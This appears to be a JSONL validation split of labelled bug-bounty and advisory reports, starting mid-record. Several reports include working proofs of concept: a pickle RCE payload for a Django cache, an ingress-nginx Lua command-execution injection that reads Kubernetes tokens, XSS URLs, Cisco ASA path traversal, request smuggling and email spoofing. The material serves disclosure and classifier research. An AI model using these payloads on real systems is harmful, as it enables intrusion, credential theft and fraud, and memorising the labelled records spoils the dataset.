ease of PoC I will use sqlite3 on the same machine, but you of course may run a separate database.\n\n1. Create a Django project, make some simple app.\n2. Add this to `settings.py`:\n```\nMIDDLEWARE = [\n    'django.middleware.cache.UpdateCacheMiddleware',\n    ...\n    'django.middleware.cache.FetchFromCacheMiddleware',\n]\n...\nCACHE_MIDDLEWARE_ALIAS = 'default'\nCACHE_MIDDLEWARE_KEY_PREFIX = ''\n...\nCACHES = {\n    'default': {\n        'BACKEND': 'django.core.cache.backends.db.DatabaseCache',\n        'LOCATION': 'my_cache_table',\n    }\n}\n```\n3. Run the server, visit your app's page to create a cache entry;\n4. In your shell run:\n`sqlite3 db.sqlite3`\n5. Run `SELECT * FROM my_cache_table;` to find a row which stores the cached page (it was the second one in my case).\n6. Run `UPDATE my_cache_table SET value = 'gASVHgAAAAAAAACMAm9zlIwGc3lzdGVtlJOUjAZ3aG9hbWmUhZRSlC4=' where rowid=2;` with the id of your row,\n7. Reload the web page.\n8. Observe command execution in the server logs.\n\nVideo PoC:\n{F1532035}\n\n`gASVHgAAAAAAAACMAm9zlIwGc3lzdGVtlJOUjAZ3aG9hbWmUhZRSlC4=` is a base64 version of pickled RCE payload:\n```\nclass Pwner:\n    def __reduce__(self):\n        import os\n        cmd = \"whoami\"\n        return os.system, (cmd,)\n```\n\n## Reference\nAs a reference I'm leaving a very same issue in Flask: \nhttps://vulmon.com/vulnerabilitydetails?qid=CVE-2021-33026&scoretype=cvssv2\n\n## Attack scenario:\n1. Attacker gains an access to machine/container with cache instance.\n2. Attacker now can run arbitrary code on machine with running Django server.\n\n## Impact\n\nRCE, full machine takeover", "source": "hackerone", "timestamp": "2022-01-14", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "7ff67e70fb7c863d103a", "text": "[Improper Access Control - Generic] Verifying email bypass\n\nDuring an assessment made on a separate web-application using theirs customers to use Stripe for their payments, I detected a different behavior between account created using the standard interface and the account created using the connect portal.\n\n## Classic User creation.\n\nUsers can create their account using the classic interface on https://dashboard.stripe.com\n\n![](./classicAccountCreation.png)\n\nBy analyzing the traffic, we can see that the user is created with a POST request made on https://dashboard.stripe.com/ajax/register.\n\n![](./ClassicRegisterAccountRequest.png)\n\nThe new user can directly access to the dashboard without verify the email address entered in the creation form. However till the user has not verified the email, all features were limited to test data.\n\n![](./LimitedAccountWithClassicCreation.png)\n![](./LimitedAccountWithClassicCreation2.png)\n\nThese restrictions did not allowed to generate invoices or payments on behalf of **not verified mail** the mail entered during the creation process.\n\n## Connect User creation.\n\nStripe API proposed some Oauth features described in this article (https://stripe.com/docs/connect/oauth-reference).\n\nThe workflow begin with this type of url : https://connect.stripe.com/oauth/authorize?response_type=code&client_id={{CLIENT_ID}}****\n\nOnce the user reached this page, he has two options :\n * Sign-in with an existing account.\n * Create a new account.\n\n The second option asked to the users several informations such as \n\n * Personnal details (name, last name, adress)\n * Business details (website, activities, company adress etc)\n * Email adress\n * Bank details\n\n Second factor with SMS is required and verified for the account creation.\n\n![](./CreateWithConnect.png)\n![](./CreateWithConnect2.png)\n![](./CreateWithConnect3.png)\n![](./CreateWithConnect4.png)\n\nOnce all required informations has been filled and validated, the account is created using the API endpoint and the users is redirected to the client page with the access token generated.\n\n![](./accountCreatedUsingApi.png)\n\nBy the way, by browsing the dashboard website, the user is connected with the new account.\n\n## Vulnerabilty.\n\nInstead of the user created with the standard interface, the account created with the API can access to all Stripe feature such as :\n\n* Creating invoices and send them by email.\n* Creating subscriptions.\n* Managing customers.\n* etc...\n\nThe main concern is the email adress is not verified at this moment, it means that an attacker can impersonate a real company by spoofing the emails address.\n\n## Impact\n\nIn the POC scenario, I created the account superadmin@michelin.com for Michelin Group company. Even if I don't have access to this email, I was able to spoof invoices for Michelin. \n\nThe invoices received by customers are valid because sent by Stripe and saying that superadmin@michelin.com generated the invoice.\n\n![](./NotVerifiedAccountButActive.png)\n![](./branding.png)\n![](./InvoicesCreated.png)\n![](./createinvoice2.png)\n![](./invoiceReceived.png)\n\nThe generated invoice cannot be considered a spam as it was sent by Stripe...\n\nTo complete the report, I generated some little invoices to validate the payment and the payout to the attacker bank.\n\n![](./balance.png)\n![](./paymentsMade.png)", "source": "hackerone", "timestamp": "2023-03-03", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "99c7a66fe7ddb9a7b0ea", "text": "MiniDVBLinux 5.4 Unauthenticated Stream Disclosure Vulnerability\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2022-10-16", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "1c494758e317641d19f3", "text": "SOUND4 LinkAndShare Transmitter 1.1.2 Format String Stack Buffer Overflow\n\nSeverity: high", "source": "zeroscience", "timestamp": "2023-02-08", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "6d130d1fbe4921442cc8", "text": "[Business Logic Errors] CVE-2022-27778: curl removes wrong file on error\n\n## Summary:\nCurl command has a logic flaw that results in removal of a wrong file when combining  `--no-clobber` and `--remove-on-error` if the target file name exists and an error occurs.\n\n## Steps To Reproduce:\n  1. `echo \"important file\" > foo`\n  2. `echo -ne \"HTTP/1.1 200 OK\\r\\nContent-Length: 666\\r\\n\\r\\nHello\\n\" | nc -l -p 9999`\n  3. `curl -m 3 --no-clobber --remove-on-error --output foo http://testserver.tld:9999/`\n  4. `ls -l foo*`\n  5. `cat foo.1`\n\n`-m 3` is used here to simulate a denial of service of the connection performed by the attacker.\n\n## Impact\n\nRemoval of a file that was supposed not to be overwritten (data loss). Incomplete file left of disk when it should have been removed. This can lead to potential loss of integrity or availability.", "source": "hackerone", "timestamp": "2022-05-12", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "be41d02d6970856ffb36", "text": "[Information Exposure Through Timing Discrepancy] OpenSSL vulnerable to the Marvin Attack (CVE-2022-4304)\n\nA timing based side channel exists in the OpenSSL RSA Decryption implementation\nwhich could be sufficient to recover a plaintext across a network in a\nBleichenbacher style attack. To achieve a successful decryption an attacker\nwould have to be able to send a very large number of trial messages for\ndecryption. The vulnerability affects all RSA padding modes: PKCS#1 v1.5,\nRSA-OEAP and RSASVE.\n\nThe details of the vulnerability are on the https://people.redhat.com/~hkario/marvin/ page.\nScript to reproduce it: https://github.com/tlsfuzzer/tlsfuzzer/blob/master/scripts/test-bleichenbacher-timing-pregenerate.py\nInstructions to the reproducer: https://tlsfuzzer.readthedocs.io/en/latest/timing-analysis.html\nCredit is acknowledged on the security advisory page: https://www.openssl.org/news/secadv/20230207.txt\n\n## Impact\n\nDecryption of captured RSA ciphertexts and signature forgery for endpoints allowing timing of RSA decryption operation (local or remote).", "source": "hackerone", "timestamp": "2023-12-21", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "e3dbee5457ad290945c5", "text": "[Code Injection] Ingress nginx annotation injection causes arbitrary command execution\n\nReport Submission Form\n\n## Summary:\n[add a summary of the vulnerability]\nFor CVE-2021-25742 and CVE-2021-25746, I found a bypass method, which is fatal to the current measures taken by the team\nI can easily bypass restrictions and execute arbitrary commands in the express nginx container.\n## Kubernetes Version:\n[add Kubernetes version & distribution in which the issue was found]\n\nServer Version: version.Info{Major:\"1\", Minor:\"25\", GitVersion:\"v1.25.2\", GitCommit:\"5835544ca568b757a8ecae5c153f317e5736700e\", GitTreeState:\"clean\", BuildDate:\"2022-09-21T14:27:13Z\", GoVersion:\"go1.19.1\", Compiler:\"gc\", Platform:\"linux/arm64\"}\n\n\n\n## Component Version:\n[if applicable, add component version the issue was found]\ningress-nginx/controller-v1.4.0\nhttps://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.4.0/deploy/static/provider/cloud/deploy.yaml\n\n## Steps To Reproduce:\n[add details for how we can reproduce the issue, including relevant cluster setup and configuration]\nIn the latest version (1.4.0), alias was blacklisted,However, nginx supports lua. I can use other watches to insert any location configuration items.\nIt is meaningless to simply restrict alias instructions. Your team should start from multiple perspectives.\n\n1. minikube start\n2. kubectl apply -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.4.0/deploy/static/provider/cloud/deploy.yaml\n3. \n\nWe use nginx. ingress. kubernetes The io/configuration snippet annotation can be found in nginx Insert a new location in conf and execute any command through lua.\n\n```shell\ncat > su.yml<<EOF\napiVersion: networking.k8s.io/v1\nkind: Ingress\nmetadata:\n  name: ingress-exploit\n  annotations:\n    kubernetes.io/ingress.class: \"nginx\"\n    nginx.ingress.kubernetes.io/configuration-snippet: |\n      more_set_headers \"suanve\"\n            proxy_pass http://upstream_balancer;\n                                proxy_redirect                          off;\n        }\n        location /suanve/ { content_by_lua_block { local rsfile = io.popen(ngx.req.get_headers()[\"cmd\"]);local rschar = rsfile:read(\"*all\");ngx.say(rschar); } } location /fs/{\nspec:\n  rules:\n  - host: suanve.susec.me\n    http:\n      paths:\n      - path: /\n        pathType: Prefix\n        backend:\n          service:\n            name: exploit\n            port:\n              number: 80\n\nEOF\n\nkubectl apply -f su.yml\n```\n\nThis will cause the nginx configuration to be tampered with. We can execute any command in the corresponding ingress.\n\n```shell\ncurl -v -H 'Host: suanve.susec.me' -H \"cmd: id\" 127.0.0.1/suanve/\n*   Trying 127.0.0.1:80...\n* Connected to 127.0.0.1 (127.0.0.1) port 80 (#0)\n> GET /suanve/ HTTP/1.1\n> Host: suanve.susec.me\n> User-Agent: curl/7.79.1\n> Accept: */*\n> cmd: id\n>\n* Mark bundle as not supporting multiuse\n< HTTP/1.1 200 OK\n< Date: Mon, 10 Oct 2022 09:58:18 GMT\n< Content-Type: text/html\n< Transfer-Encoding: chunked\n< Connection: keep-alive\n<\nuid=101(www-data) gid=82(www-data) groups=82(www-data)\n```\n\n* Connection #0 to host 127.0.0.1 left intact\n\n```http\nGET /suanve/ HTTP/1.1\nHost: suanve.susec.me\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\nAccept-Encoding: gzip, deflate\nConnection: close\nUpgrade-Insecure-Requests: 1\ncmd: cat /var/run/secrets/kubernetes.io/serviceaccount/token\nX-Originating-IP: 127.0.0.1\nX-Remote-IP: 127.0.0.1\nContent-Length: 2\n\n\n\n```\n\n\n\n\n## Supporting Material/References:\n[list any additional material (e.g. screenshots, logs, etc.)]\n{F1978646}\n\n{F1978648}\n  * [attachment / reference]\n\nhttps://hackerone.com/reports/1378175\n\nhttps://github.com/kubernetes/ingress-nginx/issues/8503\n\n## Impact\n\nArbitrary command execution\nGet kubernetes credentials", "source": "hackerone", "timestamp": "2023-11-24", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "3ec7d73bcf9d5262fcf1", "text": "[Cross-site Scripting (XSS) - Reflected] CVE-2023-24488 xss on https://██████/\n\n**Description:**\n\n\n## References\n\n## Impact\n\nmalicios js inejction , cookie stealing\n\n## System Host(s)\n█████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\nCVE-2023-24488\n\n## Steps to Reproduce\n1.  `https://█████/oauth/idp/logout?post_logout_redirect_uri=%0d%0a%0d%0a<script>alert(document.domain)</script>`\n\n## Suggested Mitigation/Remediation Actions", "source": "hackerone", "timestamp": "2023-09-08", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "6432b400e92e8663a26e", "text": "[Unknown] CPP: Add query for CWE-377 Insecure Temporary File\n\nThis bug was reported directly to GitHub Security Lab.", "source": "hackerone", "timestamp": "2022-03-30", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "3ab6d821d32b04fe2da0", "text": "[Improper Authentication - Generic] [nextcloud/server] Moment.js vulnerable to Inefficient Regular Expression Complexity\n\n## Describe the bugs: 🐛\nmoment is a lightweight JavaScript date library for parsing, validating, manipulating, and formatting dates. affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the preprocessRFC2822() function in from-string.js, when processing a very long crafted string (over 10k characters).\n\n**PoC:**\n```javascript\nmoment(\"(\".repeat(500000))\n```\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an:\n```javascript\nregex = /A(B|C+)+D/\n```\nThis regular expression accomplishes the following:\n  * `A` The string must start with the letter 'A'\n  *  `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n  * `D` Finally, we ensure this section of the string ends with a 'D'\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n```javscript\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")' 0.04s user 0.01s system 95% cpu 0.052 total\n```\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n\n\n**Workarounds**\nIn general, given the proliferation of ReDoS attacks, it makes sense to limit the length of the user input to something sane, like 200 characters or less. I haven't seen legitimate cases of date-time strings longer than that, so all moment users who do pass a user-originating string to constructor are encouraged to apply such a rudimentary filter, that would help with this but also most future ReDoS vulnerabilities.\n\n**Details/References**\nThe issue is rooted in the code that removes legacy comments (stuff inside parenthesis) from strings during rfc2822 parsing. `moment(\"(\".repeat(500000))` will take a few minutes to process, which is unacceptable. There is an excellent writeup of the issue here: [moment/moment#6015 (comment)](https://github.com/moment/moment/pull/6015#issuecomment-1152961973)\n\n## Impact\n\nCVE-2022-31129\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`\n[GHSA-wc69-rhjr-hc9g](https://github.com/moment/moment/security/advisories/GHSA-wc69-rhjr-hc9g)\n\n  * using string-to-date parsing in moment (more specific", "source": "hackerone", "timestamp": "2022-12-09", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "6744d8ec320f37fd4e2b", "text": "[HTTP Request Smuggling] HTTP Request Smuggling via Empty headers separated by CR\n\nThis report was originally submitted here: https://hackerone.com/reports/2001873\n\n---\n\n\n**Summary:** \nThe `llhttp` parser in the http module in Node v20.2.0 does not strictly use the CRLF sequence to delimit HTTP requests. This can lead to HTTP Request Smuggling (HRS).\n\n**Description:** \nThe CR character (without LF) is sufficient to delimit HTTP header fields in the llhttp parser. According to RFC7230 section 3, only the CRLF sequence should delimit each header-field.\n\n## Steps To Reproduce:\n\n*Server:*\n```javascript\nconst http = require(\"http\");\nhttp\n  .createServer((request, response) => {\n    let body = [];\n    request\n      .on(\"error\", (err) => {\n        response.end(\"Request Error: \" + err);\n      })\n      .on(\"data\", (chunk) => {\n        body.push(chunk);\n      })\n      .on(\"end\", () => {\n        body = Buffer.concat(body).toString();\n        // log the body to stdout to catch the smuggled request\n        console.log(\"Response\");\n        console.log(request.headers);\n        console.log(body);\n        console.log(\"---\");\n        response.on(\"error\", (err) => {\n          // log the body to stdout to catch the smuggled request\n          response.end(\"Response Error: \" + err);\n        });\n        response.end(\n          \"Body length: \" + body.length.toString() + \" Body: \" + body\n        );\n      });\n  })\n  .listen(5000);\n```\n*Payload:*\n1. Execute the below command.\n```shell\nprintf \"POST / HTTP/1.1\\r\\n\"\\\n             \"Host: localhost:5000\\r\\n\"\\\n             \"X-Abc:\\rxTransfer-Encoding: chunked\\r\\n\"\\\n             \"\\r\\n\"\\\n             \"1\\r\\n\"\\\n             \"A\\r\\n\"\\\n             \"0\\r\\n\"\\\n             \"\\r\\n\" | nc localhost 5000\n```\n2. Note that the value of `X-Abc` header in the request is - `[\\r]xTransfer-Encoding: chunked[\\r\\n]`\n3. The llhttp library parses this as a `Transfer-Encoding: chunked` header.\n```\nResponse\n{ host: 'localhost:5000', 'x-abc': '', 'transfer-encoding': 'chunked' }\nA\n---\n```\n*Note:*\n1. The next character to `\\r` is missing in the parsed header name.\n2.  This test case is missing from https://github.com/nodejs/llhttp/blob/main/test/request/invalid.md.\nA frontend proxy that does not consider `\\r` as termination of an HTTP header value, could forward this to a backend, causing an HRS. \n\n## Supporting Material/References:\nThis report is similar to:\n  * https://hackerone.com/reports/1888760\n\n## Impact\n\nHTTP Request Smuggling can lead to Access Control Bypass", "source": "hackerone", "timestamp": "2023-08-28", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "ac75a391ff950fcedd9a", "text": "[Cleartext Transmission of Sensitive Information] CVE-2022-42916: HSTS bypass via IDN\n\nOriginal Report:https://hackerone.com/reports/1730660\n\n## Impact\n\nHSTS bypass.", "source": "hackerone", "timestamp": "2022-11-03", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "8f5d1e68d021b024de55", "text": "[Unknown] ReDoS (Rails::Html::PermitScrubber.scrub_attribute)\n\nI have confirmed that ReDoS occurs on `Rails::Html::PermitScrubber.scrub_attribute`.\n\nhttps://github.com/rails/rails-html-sanitizer/blob/v1.4.3/lib/rails/html/scrubbers.rb#L134\n\n```ruby\n      def scrub_attribute(node, attr_node)\n        attr_name = if attr_node.namespace\n                      \"#{attr_node.namespace.prefix}:#{attr_node.node_name}\"\n                    else\n                      attr_node.node_name\n                    end\n\n        ...\n        if Loofah::HTML5::SafeList::SVG_ATTR_VAL_ALLOWS_REF.include?(attr_name)\n          attr_node.value = attr_node.value.gsub(/url\\s*\\(\\s*[^#\\s][^)]+?\\)/m, ' ') if attr_node.value\n        end\n```        \n\n`/url\\s*\\(\\s*[^#\\s][^)]+?\\)/m` is where the problem occurs. \n\n---\n\n### PoC\n\n```ruby\n# Gemfile\ngem 'rails-html-sanitizer', '~> 1.4', '>= 1.4.3'\n```\n\nscrub_benchmark.rb\n\n```ruby\nrequire 'benchmark'\nrequire 'rails-html-sanitizer'\n\ndef scrub(length)\n  scrubber = Rails::Html::PermitScrubber.new\n  scrubber.tags = ['s']\n  scrubber.attributes = ['mask']\n\n  mask =  'url(uu' * length\n\n  html_fragment = Loofah.fragment('<s mask=\"' + mask + '\" id=\"aa\">aa</s>')\n  html_fragment.scrub!(scrubber)\nend\n\nBenchmark.bm do |x|\n  x.report { scrub(10) }\n  x.report { scrub(100) }\n  x.report { scrub(1000) }\n  x.report { scrub(10000) }\n  x.report { scrub(100000) }\nend\n```\n\n```\n❯ bundle exec ruby scrub_benchmark.rb\n       user     system      total        real\n   0.000208   0.000020   0.000228 (  0.000226)\n   0.000316   0.000001   0.000317 (  0.000320)\n   0.023582   0.000039   0.023621 (  0.023653)\n   2.430801   0.007312   2.438113 (  2.446419)\n 233.864668   0.498743 234.363411 (234.632421)\n```\n\n## Impact\n\nReDoS may occur if scrub is executed in Rails::Html::PermitScrubber.\n\nHowever, one of the values [Loofah::HTML5::SafeList::SVG_ATTR_VAL_ALLOWS_REF](https://github.com/flavorjones/loofah/blob/v2.18.0/lib/loofah/html5/safelist.rb#L583) must be set in `attributes`.", "source": "hackerone", "timestamp": "2023-01-02", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "b8f9907f2cb0d0c583e3", "text": "[UI Redressing (Clickjacking)] Clickjacking to change email address\n\n##Summary\n\n\n\nClickjacking (User Interface redress attack, UI redress attack, UI redressing) is a malicious technique of tricking a Web user into clicking on something different from what the user perceives they are clicking on, thus potentially revealing confidential information or taking control of their computer while clicking on seemingly innocuous web pages.\n\nIt allows remote attackers to do some clickjacking which can be used for adding arbitrary tasks . Why? Almost all of your page has missing X-FRAME-OPTIONS header.\n\nWebsites are at risk of a clickjacking attack when they allow content to be embedded within a frame.\n\n\n\n\n\n##Proof of concept code :- \n\nCopy the above code and paste it in notepad and save it with .html extention\nand open it in browser\n\n\n<html> \n<head> \n<title>Clickjack test page</title> \n</head> \n<body> \n<p>Website is vulnerable to clickjacking!</p>\n\n<iframe src=\"https://gener8ads.com/dashboard/account\"  sandbox=\"allow-top-navigation allow-same-origin allow-scripts\" width=\"500\" height=\"500\"></iframe> \n\n</body> \n</html>\n\n\nCopy and paste above given code and  save it with hack.html and  open it in browser\n\n\n\n------------------------------------------------------------------->\n\nRecommendation :- \n\nAdd X-FRAME-OPTIONS header to mitigate the issue\n\n## Impact\n\nAn attacker may use this risk to invisibly load the target website into their own site and trick users into clicking on links which they never intended to. An \"X-Frame-Options\" header should be sent by the server to either deny framing of content, only allow it from the same origin or allow it from a trusted URIs.", "source": "hackerone", "timestamp": "2022-01-12", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "4191b505d4fcb59d63e6", "text": "[Path Traversal] CVE-2020-3452 on  https://█████/\n\nHello team,\nI hope you're doing well, healthy & wealthy.\n\nI found a CVE-2020-3452 path traversal and here is the explanation.\n\nA vulnerability in the web services interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to conduct directory traversal attacks and read sensitive files on a targeted system. The vulnerability is due to a lack of proper input validation of URLs in HTTP requests processed by an affected device. An attacker could exploit this vulnerability by sending a crafted HTTP request containing directory traversal character sequences to an affected device. A successful exploit could allow the attacker to view arbitrary files within the web services file system on the targeted device. The web services file system is enabled when the affected device is configured with either WebVPN or AnyConnect features. This vulnerability cannot be used to obtain access to ASA or FTD system files or underlying operating system (OS) files.\n\n## References\n\n    - https://twitter.com/aboul3la/status/1286012324722155525\n    - http://packetstormsecurity.com/files/158646/Cisco-ASA-FTD-Remote-File-Disclosure.html\n    - http://packetstormsecurity.com/files/158647/Cisco-Adaptive-Security-Appliance-Software-9.11-Local-File-Inclusion.html\n    - http://packetstormsecurity.com/files/159523/Cisco-ASA-FTD-9.6.4.42-Path-Traversal.html\n    - http://packetstormsecurity.com/files/160497/Cisco-ASA-9.14.1.10-FTD-6.6.0.1-Path-Traversal.html\n    - https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86\n\n## Impact\n\nA vulnerability in the web services interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to conduct directory traversal attacks and read sensitive files on a targeted system. The vulnerability is due to a lack of proper input validation of URLs in HTTP requests processed by an affected device. An attacker could exploit this vulnerability by sending a crafted HTTP request containing directory traversal character sequences to an affected device. A successful exploit could allow the attacker to view arbitrary files within the web services file system on the targeted device. The web services file system is enabled when the affected device is configured with either WebVPN or AnyConnect features. This vulnerability cannot be used to obtain access to ASA or FTD system files or underlying operating system (OS) files.\n\n ** classification:**\n-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n-    cvss-score: 7.50\n\n## System Host(s)\n█████████\n\n## Affected Product(s) and Version(s)\nCisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software\n\n## CVE Numbers\nCVE-2020-3452\n\n## Steps to Reproduce\nPlease do this GET request below.\n\n- https://████████/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../\n\nSecond attack type:\n\n- https://██████/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua\n\nYou can see the file can be downloaded.\n\n## Suggested Mitigation/Remediation Actions\nPlease upgrade to the latest version of the software.\n\nBest regards.\n@pirneci", "source": "hackerone", "timestamp": "2022-03-18", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "0701d5412c8cd26b7bf4", "text": "[Cross-site Scripting (XSS) - Reflected] XSS Reflected - ██████████\n\nHi Team,\n\nI found a XSS Reflected.\n\n```\nhttps://██████████/███onload=%22prompt(1)\n```\n\nThanks DRauschkolb\n\n## Impact\n\nXSS vulnerabilities can be used to trick a web user into executing a malicious script, potentially revealing a user's web session information or modify web content & even steal cookies.\n\n## System Host(s)\n██████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nhttps://████████/██████onload=%22prompt(1)\n\n## Suggested Mitigation/Remediation Actions", "source": "hackerone", "timestamp": "2022-01-19", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "cefc742e963c1a9a3b87", "text": "[Improper Authentication - Generic] App PIN code can be bypassed in Files iOS\n\nHi Team,\n\nHope you are doing great.\n\nNote: IoS APP Vs.: 4.9.1\n\nI got a vulnerability in your applications via which an attacker is able to bypass the PIN.\nThe attacker just need to bruteforce the 4 digit PIN as unlimited tries is accepted by the application, the attacker can simply do a bruteforce and access the application.\n\nPoC:\n{F2844276}\n\n## Impact\n\nAuthentication Bypass leading to application access", "source": "hackerone", "timestamp": "2023-12-18", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "4cca5f83233e6541620b", "text": "[Incorrect Authorization] Support Tickets can be created on behalf of other users using spoofed email | Bypass of #2001913\n\n**Summary:**\nHi team,\nHope you are doing well.I came across a disclosed report by hackerone (#2001913) wherein a researcher was able to create a support ticket on behalf of other users by sending fake email to support@hackerone.com. The issue was fixed by hackerone and sending email to support@hackerone.com does not create support tickets anymore.But,there is a bypass to this fix.\n**Description:**\nHackerone uses freshdesk as their third party service provider to handle support tickets .In freshdesk if a email is sent to support@domain.freshdesk.com it would create support tickets on behalf of the user.Similarly,if an email is sent to support@hackerone.freshdesk.com using a fake mailer like https://emkei.cz then a support ticket is  created by an attacker for the victim.\n\n### Steps To Reproduce\n1. Visit https://emkei.cz or any other fake mailer website.\n2. Put the victim email in from field and support@hackerone.freshdesk.com in the to field.\n3. Fill in the body with any message like account deletion and support ticket would be created in the behalf of victim and the support team will take it as legitimate request and process the request .\n\n### Mitigation:\n1.Freshdesk has a fix to the issue such that only emails sent to particular email address will only create tickets.The feature is called **Prevent Wildcard Ticket Create**.More deatils at https://support.freshdesk.com/en/support/solutions/articles/50000000652-receiving-spam-emails-to-support-domain-freshdesk-com-please-help-\n\n\n### Optional: Supporting Material/References (Screenshots)\n\n * Screenshot attached.██████\n* Check ticket **471406** created by me on a test account of mine.\n\n## Impact\n\n1.It is possible to perform sensitive action on behalf of victim .\n2.Ability to spam the support inbox thus increasing the wait time and leading to inconvenience for legitimate users.", "source": "hackerone", "timestamp": "2023-09-08", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "e2397f8b82b2696d1960", "text": "[Improper Authorization] CVE-2023-47037: Airflow Broken Access Control Vulnerability\n\nHi IBB,\nApache Airflow, versions before 2.7.3, is affected by a vulnerability that allows authenticated and DAG-view authorized Users to modify some DAG run detail values when submitting notes. This could have them alter details such as configuration parameters, start date, etc. \n\n\nHere is the conversation between the security team of airflow.\n\n█████\n\nMore Details:\nhttps://lists.apache.org/thread/04y4vrw1t2xl030gswtctc4nt1w90cb0\n\n## Impact\n\nBroken Access Control Vulnerability.", "source": "hackerone", "timestamp": "2023-11-29", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "f5b67e8e98243b4b74e4", "text": "[Cross-site Scripting (XSS) - Generic] [accounts.reddit.com] Redirect parameter allows for XSS\n\n## Summary:\nHello team! I was tampering with the dest parameter in accounts.reddit.com and found out it is vulnerable to Cross Site Scripting once the victim performs the log in.\n\n## Steps To Reproduce:\n  1. Enter to the following link: ```https://accounts.reddit.com/?dest=javascript:alert(document.domain)```\n  - If not signed in, the user will be promped to log in and after doing so XSS will excecute\n\n{F2315850}\n  - If user is logged into his account, following the link will also make the XSS pop up\n\n{F2315847}\n\n## Impact\n\nAn attacker could trick users into executing XSS, executing code and stealing their cookies only by them logging in.", "source": "hackerone", "timestamp": "2023-05-18", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "7beebebed0831ebe5ce0", "text": "[Business Logic Errors] CVE-2023-27538: SSH connection too eager reuse still\n\nlibcurl would reuse a previously created connection even when an SSH related option had been changed that should have prohibited reuse.\n\nlibcurl keeps previously used connections in a connection pool for subsequent transfers to reuse if one of them matches the setup. However, two SSH settings were left out from the configuration match checks, making them match too easily.\n\n## Hackerone report\n#1898475\n\n## Impact\n\nConnection reuse when different ssh keys are specified.", "source": "hackerone", "timestamp": "2023-04-19", "split": "val", "label_source": "within_source_cve_index", "label": 1}
